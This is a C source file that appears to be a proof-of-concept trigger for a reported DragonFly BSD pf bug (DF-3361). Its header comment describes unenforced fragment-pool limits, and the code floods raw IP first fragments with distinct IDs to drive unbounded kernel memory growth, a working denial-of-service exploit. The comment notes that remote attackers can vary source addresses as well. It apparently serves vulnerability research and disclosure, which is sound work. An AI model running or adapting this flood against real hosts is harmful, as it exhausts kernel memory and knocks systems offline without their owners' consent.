DF-3361 / fragflood.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 | /* * DF-3361 trigger — pf fragment reassembly pools have NO enforced limit * (sys/net/pf/pf_norm.c): PFFRAG_FRENT_HIWAT / PFFRAG_FRAG_HIWAT / * PFFRAG_FRCACHE_HIWAT are registered in pf_pool_limits[] and * pfctl set-limit frags reads/writes the value, but nothing in the * fragment path ever checks it: pf_normalize_init() has the * pool_sethardlimit() calls commented out (pf_norm.c:118-123, "XXX"), * and pf_reassemble()/pf_fragcache() kmalloc() unconditionally * (pf_norm.c:355-363, :568-583, :966-971). The only backpressure is * pf_flush_fragments() *after* a kmalloc already failed. * * Consequence: with `scrub ... fragment reassemble` (the default scrub * mode), each first-fragment of a distinct (src,dst,id,proto) tuple * pins a struct pf_fragment + struct pf_frent + the mbuf (up to a full * 64KB set each) for PFTM_FRAG (30s default), with no cap on the * number of entries. A remote unauthenticated fragment flood drives * unbounded kernel heap/mbuf growth. * * Each new fragment for an existing key also refreshes fr_timeout * (pf_find_fragment, pf_norm.c:299), so actively fed sets never expire. * * Setup needed (root): * kldload pf * pfctl -f /root/poc/reass.conf # scrub in on lo0 all fragment reassemble * pfctl -e * * Usage: fragflood [count [payload_size]] * Sends `count' MF fragments with distinct (src, id) keys. */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <time.h> static unsigned short cksum(unsigned short *p, int n) { unsigned long s = 0; while (n > 1) { s += *p++; n -= 2; } if (n) s += *(unsigned char *)p; s = (s >> 16) + (s & 0xffff); s += (s >> 16); return (unsigned short)(~s); } static void send_frag(int s, in_addr_t src, in_addr_t dst, unsigned short id, int paylen) { static char pkt[65535 + 60]; struct ip *ip = (struct ip *)pkt; struct sockaddr_in sin; int hlen = 20, total = hlen + paylen; memset(pkt, 0, total); ip->ip_v = IPVERSION; ip->ip_hl = hlen >> 2; ip->ip_len = htons(total); /* DFly raw ip: network order */ ip->ip_id = id; ip->ip_off = htons(IP_MF); /* first fragment, MF set */ ip->ip_ttl = 64; ip->ip_p = IPPROTO_UDP; ip->ip_src.s_addr = src; ip->ip_dst.s_addr = dst; ip->ip_sum = cksum((unsigned short *)pkt, hlen); /* payload zero: irrelevant, the scrub path buffers before L4 */ memset(&sin, 0, sizeof(sin)); sin.sin_len = sizeof(sin); sin.sin_family = AF_INET; sin.sin_addr.s_addr = dst; if (sendto(s, pkt, total, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0) { if (errno != ENOBUFS) fprintf(stderr, "sendto: %s\n", strerror(errno)); } } int main(int argc, char **argv) { in_addr_t dst = inet_addr("127.0.0.2"); in_addr_t src = inet_addr("127.0.0.1"); /* must be local */ int s, one = 1; long n = (argc > 1) ? atol(argv[1]) : 6000; int paylen = (argc > 2) ? atoi(argv[2]) : 1024; long i; struct timespec t0, t1; if (argc > 3) dst = inet_addr(argv[3]); s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (s < 0) { perror("socket"); exit(1); } if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0) { perror("IP_HDRINCL"); exit(1); } clock_gettime(CLOCK_MONOTONIC, &t0); /* distinct keys: vary ip_id over 1..65535 (src/dst/proto fixed); * raw sockets require a local source address, so only ip_id varies * here -- 65536 distinct keys already exceed the intended * PFFRAG_FRENT_HIWAT cap of 5000 by 13x. (Remote attackers have * the whole 32-bit source space on top.) */ for (i = 0; i < n; i++) { send_frag(s, src, dst, (unsigned short)(1 + (i & 0xffff)), paylen); if ((i % 10000) == 9999) { printf("sent %ld\n", i + 1); fflush(stdout); } } clock_gettime(CLOCK_MONOTONIC, &t1); printf("done %ld pkts in %.1fs (%.0f pps)\n", n, (t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9, n / ((t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9 + 0.001)); return (0); } |